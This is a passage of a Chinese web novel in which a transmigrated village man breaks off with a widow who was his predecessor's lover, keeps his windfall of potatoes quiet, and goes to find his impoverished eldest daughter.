“大郎且放心,奴家不会白借你的粮食……晚上,我们家新砌的大炕,可暖和了,就我跟俩孩子在家……”
若是换做原身,被这泼辣风骚的孙寡妇这般软语相求外加暗示,怕是骨头都酥了半截,早就忙不迭地答应,甚至可能主动多给些。
但此刻的江河,芯子早已换了人。
他不仅对眼前这个妇人生不出半分旖念,反而还觉得有些麻烦和警惕。
这孙寡妇的消息倒是灵通,他不过是去县城卖了些猎物,买了点粮食,竟这么快就被她知晓了?
而且,这女人一上来就要借粮借钱,全然不提偿还的事情,明显就是想要吃白食。
如果是原身,惦记人家的身子,贪图一时享乐,给些东西自然是无可厚非。
但是他江河,可不是那种饥不择食的饿狼,不是什么样的女人都能下得去口的。
这个孙寡妇虽然也有三分姿色,但比起江河上辈子交往过的那些能打九十分以上的极品女友来,孙寡妇实在是不够看。
“孙家妹子说笑了。”
江河后退一步,拉开距离,脸色也随之冷了下来。
“我家什么情况,村里谁不知道?”
“这些年,家里的钱粮都被老宅给榨干了,家里的几个孩子也饿得个个皮包骨头,我们自顾尚且不暇,实在没有余力再去帮衬别人了。”
“孙家妹子若是实在困难,不妨去寻一寻里正与老族长,让他们帮忙想想办法……”
他语气生硬,拒绝得干脆利落,没有丝毫转圜余地。
孙巧娘脸上的笑容瞬时僵住了。
她没想到江河会是这个反应。
以前她只要稍稍给点甜头,江河哪次不是像条哈巴狗一样,巴巴地主动把钱粮送上门?
今天这是怎么了?
吃错药了?
还是这个杀千刀的狗东西,发了大财后就翻脸不认人,看不上她孙巧娘了?
第100章 这狗还能改得了吃屎?
江河自然也看出了孙寡妇脸上的错愕与羞怒,但是他心中却没有半点儿要心软妥协的意思。
这是原身那狗东西的姘头,跟他江河有**的关系。
要是这孙寡妇真的长得国色天香,让人一见就流连忘返,他说不定也就捏着鼻子认下了,并不介意跟原身做一回同道中人。
但是,谁让这孙寡妇根本就没有长在他的审美上,压根就勾不起他半点儿食欲呢。
所以还是早断早了,最好以后再也没有半点儿关联。
对面的孙寡妇见江河竟然变得这么绝情,半粒粮食也不想借给她,泼辣性子立刻就上来了。
只见她柳眉一竖,双手叉腰,声音也不由自主的拔高许多:
“江河!你这是什么意思?以前你趴在我家墙头说那些臊话的时候,怎么不说没余力?”
“现在跟老娘在这里装什么正经人!不就是朝你借点粮食应应急吗?你买那么多粮食,分我一点怎么了?又不是不还你!”
她略显尖锐的声音在寂静的午后显得有些刺耳,引得附近几户人家都隐隐有开窗探头的迹象。
江河见状,眉头轻挑,眼神也变得有些冷冽。
这个女人,果然要比之前的赵寡妇难缠得多。
赵寡妇虽然也想要从他这里讨些财物回去,但毕竟还要脸,不敢在大庭广众之下跟他大声嚷嚷。
而这个孙巧娘,似乎一点儿也不在乎什么名声脸面,看她这欲要撒泼骂街的架势,明显是想把事情闹大,继续败坏他的名声。
只是……
我特娘的本来就是二流子、臭流氓啊!
所谓的名声脸面,早就已经触底,甚至都陷到了淤泥里了有木有,你拿这个来威胁我,有用吗?
江河忍不住想笑,感觉这个孙寡妇泼辣归泼辣,但总归也是个没脑子的。
“孙巧娘!”
江河也随之提高了声音,气势稳压了孙寡妇一头,他居高临下的俯视着孙寡妇,神色有些玩味的调笑说道:
“你声音很大是吧,要不要我帮你把全村的老少爷们全都叫过来,听你诉诉苦,看看我江河以前是怎么欺负你们母子的啊?”
“还敢在老子的面前撒泼玩赖,你也不打听打听,老子以前是干什么的?真当老子脾气好,不敢拿你们孤儿寡母怎么样是吧?”
“你要是敢让老子不爽,你信不信,今天晚上老子就能让你们母子三人变得无家可归……”
不就是发狠吓唬人么,谁不会?
江河继承了原身那狗东西的部分记忆,装起二赖子来简直就是本色演出。
孙巧娘瞬间就**河这陡然爆发出来的、远比原身更加狠厉蛮横的气势给镇住了。
尤其是那句“让你们母子三人变得无家可归”,配合着江河那冰冷而玩味的眼神,让她心头猛地一颤。
她这才猛然想起,眼前这个江河究竟是什么货色。
这个混蛋玩意儿,以前可不就是一个天不怕地不怕、混起来六亲不认的二流子吗?
他连自己的原配老婆,自己的亲儿子、亲女儿,甚至亲孙子,都能往死里坑,往死里揍,对付她们孤儿寡母,还不是手到擒来,手拿把掐?!
想到这里,孙巧娘刚才那股撒泼耍赖的勇气瞬间泄了大半。
她脸色白了白看着江河,叉着腰的手也不自觉地放了下来,嘴唇哆嗦着,不敢再像刚才那样大声嚷嚷了。
好在他们一直站在街道的背阴处,周围的几户村民刚刚虽然听到了一些动静,却并没有看到说话的人在什么地方,更没有人出来围观他们。
“你……你敢!”她色厉内荏地低声向江河威胁道。
“我敢不敢,你心里很清楚!”
江河嗤笑一声,上前一步,逼近孙寡妇,用只有两人能听到的声音,阴恻恻地说道:
“孙巧娘,别给脸不要脸。以前那点破事,老子不提,是给你留着脸呢。”
“你要是非要闹得人尽皆知,反正老子是无所谓,老子光脚的不怕穿鞋的,根本就不在乎什么脸面与名声。”
“但是你呢?你带着俩崽子,以后还在这村里活不活了?”
这几句话,可谓是直击孙巧娘的七寸要害。
她就算是再泼辣,再厚脸皮,也得为自己的两个孩子考虑。
真要是名声彻底臭了,以后他们娘仨在村里必然会寸步难行,日子只会更难过。
将来儿子、女儿长大了,想要娶媳妇或是嫁人,估计都会千难万难。
看着孙寡妇眼神闪烁,气势彻底萎靡下去,江河便知道火候已经到了。
打一棒子,还得给个甜枣,不然若是真把人给逼急了,对他也没有什么好处。
他缓缓退后一步,脸上那狠厉、绝情的表情瞬间收敛起来,又恢复了之前那种平静中带着疏离的淡然神色。
“当然了,我江河也不是那么绝情的人,你我之间毕竟有过一段露水情缘,我也不会真的见死不救。”
说着,他慢悠悠地从怀里摸出一串用麻绳穿好的铜钱,约莫一百文的样子,在手里掂了掂,直接递向了孙寡妇,淡声道:
“喏,拿着。”
孙寡妇愣住了,看着那串铜钱,又看看江河,有些不明所以。
“这一百文钱,不是借给你,而是直接送给你的。”
江河语气平淡,悠然开口道:
“就当是……以前那些糊涂账的补偿,也是我最后一次帮你了。”
“从今往后,你我两清,井水不犯河水,再无其他瓜葛。以后要是再让我听到你到处编排我,或者再来找我的麻烦……”
他顿了顿,眼神再次变得锐利,冷声道:
“那么,我刚才说的那些话,就不仅仅是吓唬你的了,明白吗?”
孙寡妇看着江河递来的这串百余文左右的铜钱,感受到江河话里不容置疑的决绝和警告,心中不禁五味杂陈。
有羞怒,有不甘,但更多的是一种被彻底切断依仗后的茫然和恐慌。
同时,还有一丝丝面对这一百文“分手费”时,难以抑制的些许心动。
一百文,不算多,但若省着点儿花的话,也够他们娘仨
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撑到年尾了。
她这次过来找江河的目的,不就是为了这个么?
一百文,可比她原本预想中的还多了不少呢。
至于说以后与江河彻底了断之类的事情……
管他呢,她就不信江河这狗东西能改得了偷吃的毛病。
以后若是憋得狠了,还不是得跟以前一样,像条哈巴狗一样巴巴的来扒她家房门,求着跟她好?
想到这些,孙寡妇终于不再纠结,伸出右手一把将那串铜钱接过,紧紧攥在手心,没好气道:
“知道了!你放心,以后老娘绝对不会再主动来寻你这个负心汉!”
“哼!真把自己当成什么香饽饽了,当老娘稀罕你似的!”
这老娘们,自我感觉还挺好!
江河无语的瞥看了孙寡妇一眼,淡声道:“很好,记住你说的话!”
说完,江河便不再多言,背着竹篓,转身大步离去,再没有回头。
孙巧娘站在背阴处,看着江河挺拔的背影迅速消失在巷口拐角,这才不屑的轻撇了撇嘴。
掂了掂手中那沉甸甸的一百文钱,心里的那点不快和慌乱顿时被这实实在在的好处冲淡了不少。
“哼,装什么大尾巴狼!还彻底了断?看把你给能的!”
“老娘就不信,这狗还能改得了吃屎,这猫还能忍住不偷腥?以后有的是你来求老娘的时候!”
她低声嘟囔着,将铜钱小心地贴身收好,这才扭着那丰硕的臀部,转身朝自家方向走去。
一边走,心里还在一边得意的盘算着:
“等过些日子,这狗东西憋不住了,再来找老娘的时候,可就不是一百文钱能打发的了!”
显然,她并未将江河刚才那番决绝的话真正放在心上。
只当是男人一时发了财,在故意拿乔作态。
毕竟,江河以前那副色胆包天、见了**女人就走不动道的臭德行,她太清楚了。
在她看来,“江山易改,秉性难移”,江河那狗东西,迟早还会再来找她。
然而,她并不知道,此江河已非彼江河,她心里打的这些小算盘,注定只会是一场空。
另一边。
江河快步远离了那个是非之地,直到确认周围再无旁人,孙寡妇也没有再追上来,这才缓缓舒了口气。
总算是结束了。
刚刚他是真怕那孙寡妇会不顾一切的往他身上扑啊。
这要是被外人给看到了,他好不容易才在村子里、在家里的孩子们面前,挽回来的那点儿形象,就全都要被毁掉了。
唉,真是……原身误我啊!
江河忍不住又在心中非议了原身一句。
前有赵寡妇,后有孙寡妇,原身这狗东西倒是一点儿也不挑,什么样的女人都能下得去口。
现在可好,还得让他江某人来为其善后、擦屁股!
不过话又说了回来,这次虽然损失了一百文钱,但只要能借此彻底与孙寡妇做个了断,对他来说就是值当的。
一百文钱而已,对于现在的他来说,**毛雨,洒洒水罢了。
第101章 土豆是什么豆?
沿着主道一路前行,江河很快就看到了村西头自家那熟悉的破落院子。
院门虚掩着,里面隐约传来**和江源搬动东西和劈柴的声响,赵穗、罗灵清脆的交谈声,以及江沫儿等几个孩子做游戏时咯咯咯的欢笑声。
院子虽破,但生活在院子里的人,却逐渐变得生机勃勃,充满了朝气。
江河走近院门,听到里面这些充满了生活气息的喧闹声,一股属于“家”的温馨感油然而生。
他没有急着进门,而是心念微动,从物品栏内取出了两瓶香油,十斤牛腩,二十个土豆,以及三斤白糖,一匹碎花布料,悄然放进自己背后的竹篓内。
做完这一切后,他才推门而入。
院子里,**和江源正在搬柴和劈柴,看到江河回来,两人连忙停下动作,齐齐向门口看来。
“爹,您回来了!”
**开口招呼道,目光下意识地看向江河背上的竹篓,同时起身过来帮忙将竹篓取下。
江源则进屋为江河倒了一杯温水,快步走来送到江河的跟前:“爹,喝水!”
“嗯,乖。”江河应了一声,随手将竹篓递给**,同时接过江源端来的温水,一饮而尽。
“你们怎么全都在家,可是地里的活计已经忙完了?”
喝完水,把空碗递给江源,江河随口向二人询问了一句。
**抱着竹篓,感受到竹篓异常的重量,同时轻声回道:
“对,所有的粮种都已经耕种结束,接下来的几个月就要清闲下来了。”
“爹,我跟四弟想要同你一起进山赶山狩猎,你就带我们一块去吧!”
**一脸希冀的看着江河。
昨天见老爹从山里带回了那么多东西,他真是眼馋了。
只是山中多凶险,若是没有一个靠谱且完全信得过的老猎头带着,他与江源也不敢太过深入。
以前村里**多都看不上他们,进山也不愿带他们兄弟俩,所以农闲的时候,他们只敢在后山的最外围拣些别人不要的野菜、酸果。
现在,既然知道老爹有这么厉害的赶山本事,他们当然想要跟着学一手。
“这个嘛,再说吧!”
江河没有直接拒绝,也没有马上同意,随口敷衍了两句之后,指着**抱着的竹篓道:
“竹篓里有我从县城里买回来的一点儿粮食和布料。”
“你们且把吃的东西拿到灶房去,那块布料是我昨天答应小沫儿做新衣服的料子,就交给赵穗和罗灵去归置吧!”
“哎,知道了爹!”
**有些失望的应声点头,同时掀开了盖在竹篓最上的那层干草。
待他看到装盛在竹篓内的香油、牛肉、白糖和十斤大米时,两只眼睛不由瞪得老大,呼吸也跟着变得粗重了起来。
大米也就罢了,虽然贵了点儿,但终归是用来果腹的粮食,并不少见。
可那两瓶香油、十斤红白相间的新鲜牛腩,还有那雪白晶莹的细沙白糖,以及那匹一看就价格不菲的碎花布料,可都是平日里他们家连想都不敢想的稀罕物件!
“爹……这……这是牛肉吧?”
“还有这香油、这白糖……这……这得花多少钱才能买得到?”
**的声音都有些结巴了,他小心翼翼地捧着竹篓,仿佛里面放着的是什么易碎的珍宝。
赵穗和罗灵听到动静,也好奇地走了过来。
当她们看到竹篓里的东西时,反应比**还要夸张。
“我的天!这竟然真的是……牛肉?!而且还有这么多!”罗灵捂着嘴,眼睛瞪得溜圆。
“爹,你在哪买了这么多的牛肉,官府不是严禁杀牛贩肉吗?”
不怪罗灵会这么说,而是大宣朝有明确的律法规定,无故杀他人马牛者,杖七十、徒一年半;杀自己马牛者,杖一百。
无论是杖七十还是杖一百,基本上都能把人给打得丢了半条命去,身子骨稍弱一点儿的,直接**都是常有的事情。
所以,正常情况下,大宣朝的百姓是不敢私自宰杀耕牛吃肉的。
就算是那些自然老死或是意外死亡的耕牛,也需要经官府查验后,出具相关的证明,才被允许吃肉或售卖。
而通常情况下,这些被允许售卖的牛肉,大多都流向了那些贵人们的餐桌,少部分被大酒楼收购。
寻常的平头百姓,甚至连购买的资格都没有,就更别说是吃了。
面对罗灵的询问,江河轻笑不语,没有过多解释。
罗灵见公爹没言语,知道自己可能是又说错话了,自然不敢再继续追问。
“这布……可真好看!”
“这花色,这质地……一看就是上等货色!这要是给小妹做一身长裙,肯定会很好看!”
赵穗这时适时开口夸赞起了那块碎花布,缓解了罗灵的尴尬与不安。
说话的同时,她弯下身,将那匹碎花布料拿起,忍不住伸手摸了摸,揉了揉,感觉触手柔软细腻,比她以往见过的任何布料都要好。
她心里已经开始盘算,以江沫儿的身形来裁剪的话,这匹布除了能给她做一整
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套漂亮的新衣服外,剩下的那些布料,应该还能给江娴、江夏、江琴三个丫头,也各做一件小花裙。
就是不知道公爹会不会同意。
毕竟,这可是公爹昨天答应送给小妹一个人的奖励。
若是她私自挪用,给江娴、江夏、江琴三个丫头做衣裳的话,公爹有可能会发脾气。
就在赵穗犹豫着要不要开口问问公爹的意见时,江河却仿佛看穿了她的心思,直接开口说道:
“这块布料是我专门买回来奖励给沫儿做新衣裳的,要先紧着沫儿的需求来做。”
“若是裁剪得当,最后还有余下的料子,你们可以自行处置,不必跟我言讲。”
赵穗闻言,不由心头一喜,连忙接声道:
“哎,爹,我晓得了!这布料长度足够,给沫儿做一整套衣裳肯定还有得剩。”
“我想用剩下的布料给娴儿、江夏、江琴她们分别做一件外裙,不知……”
江河摆手道:“我已经说了,先紧着沫儿做,多出来的料子你们自己看着办就行。”
赵穗得了准话,心里最后那点犹豫也烟消云散,欢喜地应了一声,抱着布料就准备进屋仔细规划裁剪。
罗灵也紧随其后,进屋的时候,顺便也把江沫、江娴等几个孩子也一并唤到了屋里,挨个给他们测量身形尺寸。
“咦,爹,这是什么东西?”
一直盯着竹篓内的东西流口水的江源,这时突然从竹篓底部拿出了两个圆滚滚、沾着些许泥土、表皮黄褐色的东西,满脸疑惑的向江河问道:
“爹,这……这个土疙瘩是什么?也是能吃的东西吗?”
**闻言也好奇地看了过来。
刚才他光顾着看牛肉、香油、白糖还有大米这些好东西了,还真的忽略了被放在最底层的这些土疙瘩。
“土豆啊,你们没见过还是咋的,这玩意跟牛腩可是绝配!”江河随口回答了一句。
**与江源听得一头雾水,同时开口问道:“爹,土豆是什么豆?好吃吗?”
江河一怔,这才后知后觉的意识到有些不对头。
什么意思,这俩倒霉孩子竟然连土豆都不认识吗?
似想到了什么,江河连忙开始翻找原身残留下来的那些记忆。
赫然发现,在原身过去三十六年的人生经历中,竟然真的从来都没有见过或是听说过土豆这种农作物。
事实上,这里不止没有土豆,就连江河早就已经**以为常的红薯、玉米、西红柿甚至辣椒,这个时代都完全没有!
第102章 一家人,就要整整齐齐!
江河的心跳猛地漏跳了一拍,随即又剧烈地鼓动起来。
土豆!红薯!玉米!西红柿!辣椒!
这些在穿越前司空见惯、甚至被视为“粗粮”、“普通蔬菜”的东西,在这个大宣朝,竟然完全不存在!
这意味着什么?
意味着他手里的签到得来的这九十斤小土豆,不仅仅是可以用来改善自家伙食的一种食材,更可能是一个足以在这个时代掀起一场农业**、甚至影响大宣国运的惊世之宝!
高产,耐旱,不挑地,易储存……土豆的优点在他脑中飞速闪过。
如果能够成功种植并推广开来,那将解决多少粮食问题?能救活多少饥民?又能创造多大的价值和影响力?
一瞬间,巨大的兴奋感和一种近乎使命感的冲动,几乎要将他淹没。
他似乎看到了一条金光大道,一条凭借“土豆”就能轻松走向人生巅峰、甚至青史留名的康庄之路!
但仅仅几秒钟后,一股冷水般的理智便迅速浇灭了他心头的火热。
事情,哪有那么简单?
他现在只是一个声名狼藉的普通农户、二赖子。
他若说自己手中有一种足以改变大宣国运的高产农物,别人只会以为他是疯了、癫了,根本没有人会相信。
而且,他虽然知道土豆能吃、怎么吃,也大概知道这玩意儿是通过块茎繁殖。
但是对于土豆具体的种植技术,什么播种深度、间距、施肥、病虫害防治、何时收获、如何留种等等问题,全都一窍不通。
两辈子都没有种过地的他,就算是手里有种子,也未必能种得出自己想要的结果来。
而摸索种植需要时间,更需要运气。
万一第一年种植失败了怎么办?万一以后签到再没有土豆奖励了怎么办?
退一万步来讲,就算是最后真的让他给搞成了,一旦土豆真正的展现出其惊人的产量和价值,必然会引来各方势力的觊觎和争夺。
这里可是阶层固化的封建社会,那些高高在上的官府、世家、豪强……他们会允许一个普通农户掌握这样的“祥瑞”或“利器”吗?
到时候,恐怕不是功成名就,而是怀璧其罪,引来杀身之祸!
想到这些,江河后背不由惊出了一层冷汗。
刚才那瞬间的狂喜和幻想,实在太过危险。
他现在都有什么?
一个刚刚才开始扭转的破败家庭,一点儿签到得来的银钱和生活物资,最多再加上这一身被强化过的身体。
在真正有权有势的人面前,他现在所拥有的这点儿资本脆弱得不堪一击。
没有足够的实力和背景去保护,过早暴露土豆的价值,无异于小儿持金过市,只会不断引来灾祸。
怀璧其罪啊!
就他这小身膀,还是不要去挑战封建时代的人心与社会的险恶了。
他签到得来的这些土豆,还是老老实实的用来炖牛腩吧,只有吃到肚子里的,才是自己的。
什么国运,什么民生,哪有他自己的小命重要?
想通了这些关节,江河心中最后那点不切实际的幻想彻底烟消云散。
取而代之的,是一种更加务实、甚至带着点儿自嘲的清醒。
“什么青史留名,什么改变国运……想得也太美了。”他暗自摇头,“先把自己这一家老小顾好,在这世道安安稳稳活下去,才是正经。”
他再次看向那几颗**源捧在手中的土豆,眼神已经完全不同了。
之前是看到“金疙瘩”的狂喜,现在却像是在看一堆……嗯,好吃又顶饱的食材,仅此而已。
“爹,您没事吧?”
见老爹刚刚像是在玩变脸一样,一会儿喜一会儿忧一会又是自嘲轻笑,怎么看怎么不正常,**忍不住关切地询问了一句。
“没事,就是想起了一些点别的事情。”江河摆摆手,语气已经恢复了平时的沉稳。
见江源这小子依然捧着那几颗土豆,一脸好奇的看着他,似乎还在纠结土豆是什么豆。
江河不由轻笑着说道:“这土豆不是什么豆,就是一种生长在山林里的蔬菜而已。”
“只是以前少有人知道它们能吃,市面上卖得少,你们没见过也正常。”
“这玩意用来炖牛肉是一绝,等明天你们二哥一家回来后,老子给你们露一手,保证让你们馋掉大牙!”
听江河这么一说,江源终于不再纠结土豆是什么豆,转而开始幻想着明天的大餐,甚至就连口水都不自觉的溢出了嘴角。
**不似江源那么馋,听到老爹提起二哥一家明日回来的事情,忍不住开口问道:
“爹,你唤二哥他们几口回来,可是有什么事情要吩咐?”
江河随声道:“也没什么紧要的事情,就是想要把一家人凑在一起,吃顿团圆饭。”
“老子这次死而复生,脑子清醒了不少,也想通了很多以前想不通或是忽略掉的事情……总之,就当是庆祝你们老子我又重生了一次吧!”
“我想通过这顿团圆饭,把以前家里发生的那些不愉快,一次性的全都解决掉,以后咱们一家人同心协力,劲儿往一处使,把日子过好,过红火了。”
**闻言,怔怔地看着自己这个老爹,眼眶不知不觉地有些发热。
爹……真的不一样了。
以前的爹,心里只有老宅,只有他自己,何曾在意过他们一家人的“团圆”?
何曾想过要解决他们之间的“不愉快”?
就更别提什么“同心协力,劲儿往一处使,把日子过红火”了!
“爹……”
**声音有些哽咽,想说些什么,却又觉得千言万语堵在喉咙口,最终只重重地点头。
“嗯!咱们……咱们一家人,以后一定能把日子过好、过红火了!”
说话的同时,他心中最后那点儿因渣爹过往不堪行为而产生的隔阂与不安,再一次的悄然融化了大半。
“行了,大老爷们流血不流泪,以后你少给老子整这出!”
江河有些嫌弃的瞥了**这个爱哭鬼,男子汉大丈夫,整天就知道哭哭唧唧的,真是让人看不起。
也难怪原身那个狗东西会一直不喜欢这个老三,面瓜老实也就罢了,还特娘的喜欢挤狗尿,掉眼泪,没有一点儿男人样。
看样子,以后还是得多带他出去闯荡闯荡。
多打几次架,多挨几顿揍,多见几回世面,他身上的这股矫情劲儿,应该就能去得差不多了。
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“哎,知道了,爹!”
**连忙不好意思的抹了一把脸上的泪珠。
他也知道自家老子不喜欢家里的孩子哭哭唧唧,以前他也没有少因为这件事情挨过老爹的揍。
但是,他就是控制不住怎么办?
“爹,你刚刚说要一家人吃顿团圆饭,那……你叫大姐和大姐夫他们了吗?”江源这个时候突然开口向江河问道。
江河一愣。
什么大姐、大姐夫的……呃?
就在此时,他的脑海之中突然涌现出了一大段关于大女儿的那些记忆碎片。
江槐,原身的第二个孩子,也是江家的长女,今年二十岁。
记忆中的江槐,是个面容清秀、性子却格外温顺坚韧的姑娘。
六年前,原身为了给老宅的两个侄子凑束脩,在江十二与王三妮两个老东西的怂恿下,将当时才十四岁的江槐嫁给了邻县柳树村一个家境贫寒、老实巴交的农户赵诚,换来了六百文钱的彩礼。
江槐出嫁时,除了两身破旧衣裳,几乎什么都没带走。
这些年,原身从未去看过这个女儿,在家里也鲜少提及,仿佛那六百文钱已经买断了他女儿的一切。
而江槐,刚开始时还会偶尔回来一趟娘家。
可是自三年前,亲娘王娟被王三妮逼得自缢身亡之后,江槐就跟家里彻底断了来往,再也没有回过娘家一次。
三年来,原身也仿佛把这个大女儿给完全忘记了一般,哪怕是江河穿越过来之后,也少有翻阅到关于这个大女儿江槐的记忆。
方才若不是江源突然提及到“大姐”,江河怕是根本就不会想起来,自己竟然还有一个大女儿。
“是啊,大姐她都好久没有回来过了,也不知道现在过得怎么样了……”
**这时也喃喃出声,眼圈不受控制的又红了起来。
都说长姐如母,他们兄弟姊妹几个,除了大哥之外,基本上都是大姐在带着他们玩儿。
大姐出嫁时,**才十二岁,拉着大姐的衣角哭得稀里哗啦,不愿大姐离开,却被当时的渣爹抬起一脚狠狠踢开。
他直到现在都还依稀记得,大姐在离开家前,偷偷塞给他一个硬邦邦的、不知藏了多久的杂面饼子,小声对他说:
“三弟,照顾好自己,也……看着点娘和弟弟妹妹……”
那画面,他一直忘不了,每次回想起来,都会忍不住想哭。
江源那时更小,对大姐的记忆已经有些模糊,但他也知道自己还有个大姐,嫁得很远,日子过得很不好。
刚刚听老爹说要一家人吃团圆饭,他一下子就想到了已经好多年都没有见过的大姐,便直接询问了出来。
“爹……大姐她……这次会回来吗?”**抹了一把眼中的泪水,抬头看着老爹瞬间变得有些复杂的脸色,小心翼翼地开口问道。
江河深吸一口气,强压下心中对原身的鄙夷和对那个素未谋面大女儿的愧疚。
他抬头看向身前的两个儿子,语气低沉却无比坚定的说道:
“当然要回来,老子刚刚不是说过吗,这是咱们一家人的团圆饭,你们大姐若是不回来,还算是什么团圆饭?”
“一家人,就要整整齐齐!”
第103章 爹,大姐过得太苦了!
江河斩钉截铁的话语,让**和江源兄弟俩精神一振,眼睛瞬间亮了起来。
“爹,你是说……”**激动得声音都在发颤,“你要去找大姐回来?”
“废话!”江河瞪了他一眼,“不然怎么叫团圆饭?不过……”
他眉头微皱,看向**问道:“柳树村具体在哪?你们大姐家又住在柳树村哪个位置?这些你都知道吗?”
问出这话时,江河忍不住又在心里暗骂了原身一句狗东西。
连自己亲生女儿的家具体在哪边都不知道,他这个爹真是当到头儿了。
也难怪江槐三年都不曾回家,甚至就连原身“死”的时候,这个大女儿都没有回来吊孝。
当爹当到原身这个份儿上,说是失败都特娘的是在抬举他了。
**连忙点头道:“知道知道!大姐出嫁的时候,我跟……跟娘偷偷去送过,知道大概方向。”
“柳树村在咱们村东边,过了清远河再往东走七八里地就是。至于大姐家具体在哪……到了村里,咱们再打听就是了。”
鼻子底下长着嘴,只要他们到了柳树村,想要找到大姐与大姐夫家,应该不是什么难事。
“好!”江河当机立断,“现在天色还不算晚,七八里路,咱们赶一赶的话,很快就能走到。”
“**,你现在就跟我走一趟。江源,你在家待着,帮你大嫂、三嫂她们准备晚饭。”
“哎!爹,三哥,你们路上小心!”
江源恭顺的应了一声。
虽然他也很想跟着一起去寻大姐,但却知道爹之所以不带他,是嫌他年纪小,脚力有限,根本就撵不上爹和三哥的脚程。
现在的天色将晚,若是爹和三哥真带着他一起赶路的话,怕是就不能在天黑之前赶回来了。
“爹,咱们就这么空着手去,有些不大好吧……”
**见老爹什么都没带,拉着他就要出门,不禁有些迟疑的开口提醒了一句。
大姐成婚这么多年,他们这些娘家人都没有去探望过她一次。
这次好不容易要去了,若是还空着手,不带半点儿礼物,不说周围的邻居会怎么说,就是姐姐的婆家也会笑话他们家不懂礼数吧?
“废话!这还用你说,老子是那么不懂事儿的人吗?!”
江河没好气的轻瞥了**一眼,抬手拍了拍自己的怀里,道:
“老子兜里揣着钱呢,一会儿随便找家卖东西的小店,什么好东西买不到?”
说着,江河心念微动,从物品栏内取出一个小半贯铜钱两块碎银子,隔着衣服轻拍了拍,发出轻微却悦耳的金属碰撞声。
“听见没?够不够?”江河瞪着眼睛向**询问。
**听到那实实在在的铜钱声响,又见老爹底气十足的样子,连忙点头道:
“够了够了!爹,还是你想得周到!”
拍了老爹一句马屁,他心里更踏实了,有钱就好办事,就算是他们到了柳树村现买礼物,也一点儿不会耽误事儿,还能省下赶路的力气。
“行了,别磨蹭了,赶紧走!”
江河不再废话,率先大步流星地朝村东头走去。
**连忙快步跟上,父子二人出了村,沿着土路向东疾行。
走了二三里,过石桥到了清远河的南岸,然后又朝东南方向走了六七里,这才到了柳树村。
江河脚步很快,走路像是一阵风,七八里路走下来,依然神色如常,不见丝毫疲态。
**胜在年轻,又常年在地里干活劳作,有着一膀子力气,倒也勉强能跟得上江河的步伐,只是有些气喘,同时额头也有些冒汗。
眼见着已经到了柳树村,**急走两步,撵上了江河,轻喘着气道:“爹,前面就是柳树村了,大姐他们家就在这村子里……”
一想到马上就能见到大姐,**的心绪不免有些激动莫名。
说起来,他已经有三年多都没有见过大姐了,也不知道大姐现在过得怎么样了。
江河微点了点头,站在村口不再前行,而是轻声开口向**问道:“老三,之前倒是忘了问你了,你大姐她……有孩子了吗?”
“有啊!”**想都没想就直接回答道:“大姐出嫁的第二年就生了一个丫头,第三年又生了一个丫头,之后……就跟咱家断了来往,最近这三年有没有再生我就不知道了。”
江河闻言轻轻点头,也就是说江槐这丫头至少已经有了两个孩子,稍后准备礼物的话要稍注意些。
不过话又说了回来,作为江槐的亲爹,原身竟然连自己女儿生过几个孩子都全然不知,果然是不当人啊!
还有,江槐连着为赵家生了两个丫头,若是这三年都再没有生出一个男孩的话,她在婆家的日子怕是不会太好过啊。
在这个重男轻女的封建社会中,江槐一没有娘家人可以依靠,二没有为婆家生育男丁,被婆家人轻视甚至作贱、**,都不是没有可能。
想到这里,江河竟然不自觉的开始为自己这个素未谋面却又有着切实血缘关系的大女儿,担起心来。
“这样,咱们爷俩儿分头行动,我这就去村里的商店买东西,准备礼物。”
江河收敛心绪,定声向**吩咐道:
“你呢,先去村子里四处走动走动,寻村里人打听一下你大姐他们家在哪,这些年日子过得怎么样,你大姐夫还有她那婆家,对她好不好。”
**一愣:“爹,咱们不一起去吗?”
江河轻撇了撇嘴,一起去的话老子还怎么从物品栏里往外掏东西?
这傻小子,该不会真的以为乡下村庄内的小卖部里,能买到什么好东西吧?
这可是他江某人头一次到大姑娘的婆家来探亲,可不能失了排面,让亲家这边的人笑话。
况且,买东西不得花钱啊,既然他物品栏里有现成的好东西,何必还要花那些冤枉钱?
“行了,别废话!让你去你就去,哪来的那么多问题?!”江河瞪了他一眼,懒得多解释。
见老爹似乎生气了,**一个激灵,条件反射地缩
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了下脖子,连忙应声道:
“知道了,爹,我这就去找人打听大姐家的消息去!”
说着,**就小跑着离开了,唯恐走得慢一点儿,老爹就会突然爆发当街揍他一顿。
见**着急忙慌的离开,江河不由一阵摇头,在**的后面高声提醒道:
“一会儿记得还回到这里来碰面,咱们一起去你大姐家!”
**闻言,回身冲江河摆了摆手,应声道:“知道了爹!”
看着**小跑着进了村,身影很快就消失在街道的转角处,江河这才转过身来,找了个僻静的墙角,看四下无人,快速从物品栏里往外取东西。
他选的都是一些实用、体面,又不太扎眼的东西:
粮食——五十斤上好的粟米,用干净的灰色布袋装着。
布料——一匹颜色稍暗但质地细密的棉布,适合做里衣或孩子穿的衣服。
副食——五斤风干的腊肉,两斤白糖及一小罐猪油。
点心——上次在望福楼内签到得来的枣泥糕,不多,只有十块。
除了这些之外,江河还特意准备了一包糖果,以及两百文钱的现钱充当红包,算是给他那两个或是三个素未谋面的外孙的见面礼。
做完这些,他又整理了一下衣服,拍了拍身上的尘土,让自己看起来精神些。
然后,他才弯身提着沉甸甸的粮食和装满了各样物品的竹篮,重新回到村口的那片空地上,等着**回来。
没过多久,就见**气喘吁吁地跑了回来,脸色却有些发白,眼圈也红红的,像是刚刚哭过。
“爹……”人还没到近前,**便带着哭腔高声向江河嚷嚷道:“我……我打听到大姐的消息了……”
“快说!”
江河心中一紧,顾不上再斥责**又哭哭唧唧的软弱样子,示意他赶紧把打听到的消息说出来。
“大姐他们一家五口就在村西头最破的那两间土坯房里住着……”
**抹了一把眼泪,颤声说道:
“赵诚,也就是大姐夫,前些日子上山砍柴摔断了腿,没钱请大夫,一直在家里拖着,现在……听说还咳了血,人都瘦脱相了……”
“大姐一个人要照顾他,还要带着三个孩子下地耕种,说是……说是家里早就断粮了,这两天全靠村里好心人接济一点野菜糊糊过活。”
“她婆家那边根本就不管他们一家的死活,她那恶婆婆还骂大姐是克夫的扫把星,还扬言要把大姐赶出柳树村……”
**说着说着,眼泪又不争气地掉落了下来,泣声说道:
“爹,大姐……大姐她过得太苦了,咱们把她接回家吧!”
江河闻言,不由呼吸一滞,神色也随之变得异常难看起来。
虽然他早就料到江槐在婆家的日子可能不会太好过,却没想到竟艰难至此!
